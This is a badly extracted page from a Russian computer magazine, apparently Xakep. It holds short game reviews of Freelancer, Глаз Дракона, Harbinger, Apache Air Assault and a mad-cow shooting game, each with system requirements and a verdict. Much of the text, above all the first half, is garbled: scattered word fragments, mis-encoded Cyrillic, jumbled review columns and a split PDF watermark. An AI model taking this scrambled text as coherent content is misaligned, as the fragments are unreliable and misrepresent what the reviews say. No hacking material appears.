никомудиаграмм

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èãðû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

óæå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è

 

 

 

 

 

познакомиться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ìû

 

 

 

 

отличающихсяпарочкафиков«Экономика»любителямшим частью

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чтофантазииколько

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

- -

 

AI,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Addon

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

òî,

 

 

 

 

 

управлению

 

íà

интеллек

перебор

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

óñè

 

планет,

 

 

 

-

 

 

òóò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ì

 

 

 

 

ðàç

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ìàòå

идиотизмом

кнопку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

делать

 

 

 

исследованиями

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3D

 

 

êàê

минимум

играть

 

 

 

 

÷åì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2020

симулятор

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

игроки,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

64(128),

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òîãî,

 

 

 

 

 

ÿâíî

â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

колонизации

 

 

 

 

æìóò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

È

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1820

 

 

 

 

 

 

примерстремятся

 

 

íàñ

 

армии,

 

 

 

 

 

õîä»

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

приложив

 

 

 

 

 

 

 

 

 

ëèøü

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

II:

 

 

2

 

 

600),

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Giant

 

GiantProductons/Руссобит

 

Èíåò

 

 

 

 

 

 

заставляя

 

ïî

 

 

 

 

 

 

искусственного

разработчики

Бывалые

борются

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IndusryЭкономическийIndustry

 

400(P3

 

 

 

 

 

 

 

 

 

è

СЛАБО

 

 

 

постройке

научными

 

 

 

 

 

 

 

 

новички

«Следующий прикол?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îäèí

 

 

 

 

 

 

áîòó

плечи

ùèëè ðÿñü,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òà,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

JoWood P2 LAN, Ещеработчикиденьги, лий

 

à

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

УрожденнаяЖанрПохожестьМать/отецТребуетГрупповухаОписуха

 

 

 

 

 

 

 

ПРИГОВОР

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

облегчить

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Software/Infogrames

 

 

 

 

известнейшей

 

-

ðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рутинную

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

128(256)

 

 

 

словом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стратегия

 

 

 

 

 

 

стремлении

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

одним

âñþ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Orion

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

600),

 

 

сиквел

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

взвалив

СЛАБО

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Пошаговая

MoO

 

 

 

можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Of

 

Quicksilver

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

300(P3

Èíåò

Â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Описать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Master

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Серия

 

LAN,

èãðû

ФИГНЯ

èãðó,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Урожденная

Æàíð

Похожесть

 

Ìàòü/îòåö

 

Требует

Групповуха

Описуха

 

 

 

 

 

 

 

ПРИГОВОР

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Юниксоид 6 Х-Стиль

 

 

 

 

7 Кодинг

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

o

 

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

to

BUY

 

 

 

 

 

Юниты

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

ÇÀË ÑÓÄÀ

Stepan Ilyin aka Step (step@real.xakep.ru)

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Freelancer

 

 

 

 

3D space arcade

 

 

 

Tachyon, Privateer 2

Game Studios

Digital Anvil/Microsoft

 

3D

P3-600(P3-1300), 128(256),

 

 

LAN, Èíåò

 

 

 

-

 

 

 

 

Очередная

аркада на космичес

. Первое

впечатление

êóþ òåìó

 

 

 

àò-

от игры - супер! Ощущение

.

 

 

 

 

мосферы передано бесподобно

Здесь и обалденно

красивые ту-

 

 

 

êî-

манности, и сверхмощные

ïî

ñà-

рабли, укомплектованные

 

-

 

 

 

 

 

 

мое «не хочу» техникой,

î êîòî

 

.

 

 

 

 

 

 

 

рой пока даже и не мечтают

 

Тем не менее, хватает

этого

-

 

 

 

 

 

 

 

 

 

 

. Нет изюмин

добра ненадолго

 

 

 

 

 

ки, получилась

всего лишь оче-

 

 

 

 

. À

 

 

 

 

 

 

 

редная игра на один день

 

æàëü...

 

 

 

 

 

 

ПРИГОВОР

СРЕДНЕ

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Глаз Дракона Action/RPG Magic Carpet

Primal Soft/Акелла P3-600(P3-1000), 128(256), 3D

Обломись Смесь аж трех жанров. RTS, воздушного экшена и ролевика на фэнтезийную тему. Такая вот сборная солянка, на удив-

ление, выглядит весьма достойно. Тебе (кстати не какомуто там мужику с дубиной, а ве-

личественному дракону) предстоит защитить умирающее ко-

ролевство от сильнейшего натиска нежити. Игрушка мне

лично очень понравилась. Хотя до конца я ее не прошел. На-

доело... :(

ПРИГОВОР

ХОРОШО

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Harbinger

будь неоригинальное задание.

Action/RPG

Последние, в принципе, друг от

Crusader, Diablo

друга не отличаются. Доставь

Dreamcatcher/Silverback Entertainment

предмет туда, уничтожь того и

P3-500(P3-800), 128, 3D

т.п. Бесконечная пальба во все

Обломись

четыре стороны до самого фина-

Обычная, ничем не выделяющая-

ла и минимум общения с NPC -

ся RPG. Цель героя одна - выре-

такова суровая действительность

çàòü

игры. Фигня для релаксации, не

нечисть на очередном уров-

не, попутно выполнив какое-ни-

больше!

ПРИГОВОР

СРЕДНЕ

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Apache Air Assault Вертолетная леталка SAR: Vietnam MedEvac InterActive Vision/Activision P2-400(P3-600), 96(127), 3D

Обломись Убогая вертолетная леталка, появившаяся явно не вовремя. Думаю, лет пять назад в нее еще можно было бы поиграть, но сейчас...

ПРИГОВОР

СЛАБО

Лучше не стоит. Напрочь забыты любые понятия об аэродинамических дисциплинах. Модели вертолетов исковерканы до безобразия. Сюжет прямолинеен, как рельсы Байкало-Амурской магистрали -

заблудиться практически невозможно. Про движок и говорить не

хочется. У нас первокурсники технических вузов лучше сделают.

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Bovine Spongiforme Enzephalitis Arcade shooting

Birdie Shoot

Modern Games/Modern Games P166(P2-266), 32(64), 3D Обломись

Согласен, тема коровьего беше-

нства болезни КройцфелдтаЯкоба когда-то была актуаль-

на... Но не настолько же, чтобы

ПРИГОВОР

СЛАБО

 

делать о ней игрушки. Тем более, классические мини-шуте-

ры. Может кого-то идея отстреливать больных коров и прика-

лывает, но меня лично нет. Тем более, игра лишена каких бы то ни было оригинальностей, приколов, изюминок. Старый доб-

рый Moorhun выглядит куда более заманчиво.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

1

 

2

 

3

 

4

 

88

Ньюсы

Феррум

Inside

PC_Zone

Взлом

 

 

 

 

 

 

 

 

 

 

Соседние файлы в папке журнал хакер